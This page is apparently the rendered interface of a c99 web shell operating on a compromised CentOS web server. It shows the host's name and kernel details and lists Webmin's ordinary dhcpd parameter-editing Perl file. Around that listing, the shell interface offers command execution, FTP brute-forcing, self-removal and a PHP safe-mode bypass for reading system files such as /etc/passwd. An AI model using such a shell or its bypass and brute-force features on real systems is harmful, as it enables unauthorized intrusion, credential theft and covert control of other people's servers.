!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/dhcpd/   drwxr-xr-x
Free 50.94 GB of 127.8 GB (39.86%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     params-lib.pl (6.45 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl
# $Id: params-lib.pl,v 1.3 2005/04/16 14:30:21 jfranken Exp $
# * Functions for editing parameters common to many kinds of directive
#
# File modified 2005-04-15 by Johannes Franken <jfranken@jfranken.de>:
# * Added support for the client-update option of dhcpd 3.

# display_params(&config, type)
sub display_params
{
print &ui_hidden("params_type", $_[1]);

print &opt_input($text{'plib_deflt'}, "default-lease-time",
         $_[0], $text{'default'}, 8, $text{'secs'});
print "</tr>\n";

print "<tr>\n";
print &opt_input($text{'plib_bfname'}, "filename", $_[0], $text{'none'}, 20);
print &opt_input($text{'plib_maxlt'}, "max-lease-time",
         $_[0], $text{'default'}, 8, $text{'secs'});
print "</tr>\n";

print "<tr>\n";
print &opt_input($text{'plib_bfserv'}, "next-server", $_[0], $text{'plib_thisserv'}, 15);
print &opt_input($text{'plib_servname'}, "server-name", $_[0], $text{'default'}, 15);
print "</tr>\n";

print "<tr>\n";
print &opt_input($text{'plib_llbc'}, "dynamic-bootp-lease-length",
         $_[0], $text{'plib_forever'}, 8, $text{'secs'});
print &opt_input($text{'plib_lebc'}, "dynamic-bootp-lease-cutoff",
         $_[0], $text{'plib_never'}, 21);
print "</tr>\n";

if ($config{'dhcpd_version'} >= 3) {
    # Inputs for DDNS
    print "<tr>\n";
    print &choice_input($text{'plib_ddnsup'}, "ddns-updates", $_[0], $text{'yes'}, 'on', $text{'no'}, 'off', $text{'default'}, '');
    print &opt_input($text{'plib_ddnsdom'}, "ddns-domainname", $_[0], $text{'default'}, 15);
    print "</tr>\n";

    print "<tr>\n";
    print &opt_input($text{'plib_ddnsrevdom'}, "ddns-rev-domainname", $_[0], $text{'default'}, 15);
    print &opt_input($text{'plib_ddnshost'}, "ddns-hostname", $_[0], $text{'plib_ddnshost_def'}, 15);
    print "</tr>\n";

    if ($_[1] eq 'global') {
        print "<tr>\n";
        print &wide_choice_input($text{'plib_ddnsupstyle'}, "ddns-update-style", $_[0], $text{'plib_adhoc'}, 'ad-hoc', $text{'plib_interim'}, 'interim', $text{'plib_none'}, 'none', $text{'default'}, '');
        print "</tr>\n";
        }

    # Inputs for allow/deny clients
    local @adi = ( &find("allow", $_[0]), &find("deny", $_[0]),
               &find("ignore", $_[0]) );
    local ($a, %vals);
    foreach $a (@adi) {
        $vals{$a->{'values'}->[0]} = $a;
        }
    local $uc = $vals{'unknown-clients'}->{'name'};
    print "<tr> <td><b>$text{'plib_unclients'}</b></td> <td colspan=3>\n";
    printf "<input type=radio name=unclients value=allow %s> %s\n",
        $uc eq 'allow' ? "checked" : "", $text{'plib_allow'};
    printf "<input type=radio name=unclients value=deny %s> %s\n",
        $uc eq 'deny' ? "checked" : "", $text{'plib_deny'};
    printf "<input type=radio name=unclients value=ignore %s> %s\n",
        $uc eq 'ignore' ? "checked" : "", $text{'plib_ignore'};
    printf "<input type=radio name=unclients value='' %s> %s\n",
        $uc ? "" : "checked", $text{'default'};
    print "</td> </tr>\n";


######## START CLIENT-UPDATES #####
    # Inputs for allow/deny client-updates
    if ($config{'dhcpd_version'} >= 3) {
        local @adi = ( &find("allow", $_[0]), &find("deny", $_[0]),
                   &find("ignore", $_[0]) );
        local ($a, %vals);
        foreach $a (@adi) {
            $vals{$a->{'values'}->[0]} = $a;
            }
        local $cu = $vals{'client-updates'}->{'name'};
        print "<tr> <td><b>$text{'plib_clientupdates'}</b></td> <td colspan=3>\n";
        printf "<input type=radio name=clientupdates value=allow %s> %s\n",
            $cu eq 'allow' ? "checked" : "", $text{'plib_allow'};
        printf "<input type=radio name=clientupdates value=deny %s> %s\n",
            $cu eq 'deny' ? "checked" : "", $text{'plib_deny'};
        printf "<input type=radio name=clientupdates value=ignore %s> %s\n",
            $cu eq 'ignore' ? "checked" : "", $text{'plib_ignore'};
        printf "<input type=radio name=clientupdates value='' %s> %s\n",
            $cu ? "" : "checked", $text{'default'};
        print "</td> </tr>\n";

    }
######## END CLIENT-UPDATES #####

    if ($_[1] eq 'subnet' || $_[1] eq 'shared-network' ||
        $_[1] eq 'global') {
        # Inputs for authoratative
        local $auth = &find("authoritative", $_[0]);
        print "<tr> <td><b>",$text{'plib_auth_'.$_[1]},"</b></td>\n";
        printf "<td><input type=radio name=auth value=1 %s> %s\n",
            $auth ? "checked" : "", $text{'yes'};
        printf "<input type=radio name=auth value=0 %s> %s (%s)</td>\n",
            $auth ? "" : "checked", $text{'default'}, $text{'no'};

        print "</tr>\n";
        }
    }

}

# parse_params(&parent, [&indent])
sub parse_params
{
# Check for expressions
local $type = $in{'params_type'};
local $c;
foreach $c (@{$_[0]->{'members'}}) {
    if ($c->{'values'}->[0] eq "=") {
        &error(&text('plib_eexpr', "<tt>$c->{'name'}</tt>"));
        }
    }

&save_opt("default-lease-time", \&check_lease, $_[0], $_[1]);
&save_opt("filename", undef, $_[0], $_[1], 1);
&save_opt("max-lease-time", \&check_lease, $_[0], $_[1]);
&save_opt("next-server", \&check_server, $_[0], $_[1]);
&save_opt("server-name", \&check_server, $_[0], $_[1], 1);
&save_opt("dynamic-bootp-lease-length", \&check_lease, $_[0], $_[1]);
&save_opt("dynamic-bootp-lease-cutoff", \&check_ldate, $_[0], $_[1], 1);
if ($config{'dhcpd_version'} >= 3) {
    &save_opt("ddns-domainname", \&check_domain, $_[0], $_[1], 1);
    &save_opt("ddns-rev-domainname", \&check_domain, $_[0], $_[1], 1);
    &save_opt("ddns-hostname", \&check_server, $_[0], $_[1], 1);
    &save_choice("ddns-updates", $_[0], $_[1]);
    if (defined($in{'ddns-update-style'})) {
        &save_choice("ddns-update-style", $_[0], $_[1]);
        }
    local $pm = $_[0]->{'members'};
    local @adi = ( &find("allow", $pm), &find("deny", $pm),
               &find("ignore", $pm) );
    local ($a, %vals);
    foreach $a (@adi) {
        $vals{$a->{'values'}->[0]} = $a;
        }
    &save_directive($_[0],
        $vals{'unknown-clients'} ? [ $vals{'unknown-clients'} ] : [ ],
        $in{'unclients'} ? [ { 'name' => $in{'unclients'},
                       'values' => [ 'unknown-clients' ] } ]
                 : [ ], $_[1], 1);
    &save_directive($_[0],
        $vals{'client-updates'} ? [ $vals{'client-updates'} ] : [ ],
        $in{'clientupdates'} ? [ { 'name' => $in{'clientupdates'},
                       'values' => [ 'client-updates' ] } ]
                 : [ ], $_[1], 1);
    if (defined($in{'auth'})) {
        if ($in{'auth'}) {
            &save_directive($_[0], "authoritative",
                    [ { 'name' => 'authoritative' } ],
                    $_[1], 1);
            }
        else {
            &save_directive($_[0], "authoritative", [ ], $_[1]);
            }
        }
    }
}

sub check_lease
{
return $_[0] =~ /^\d+$/ ? undef : "'$_[0]' $text{'plib_invalidlt'}";
}

sub check_server
{
return $_[0] =~ /^\S+$/ ? undef : "'$_[0]' $text{'plib_invalidsn'}";
}

sub check_ldate
{
return $_[0] =~ /^(\d) (\d\d\d\d)\/(\d\d)\/(\d\d) (\d\d):(\d\d):(\d\d)$/ ?
    undef : $text{'plib_leformat'};
}

sub check_domain
{
return $_[0] =~ /^[A-Za-z0-9\.\-]+$/ ? undef : &text('plib_invaliddom', $_[0]);
}

1;


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0126 ]--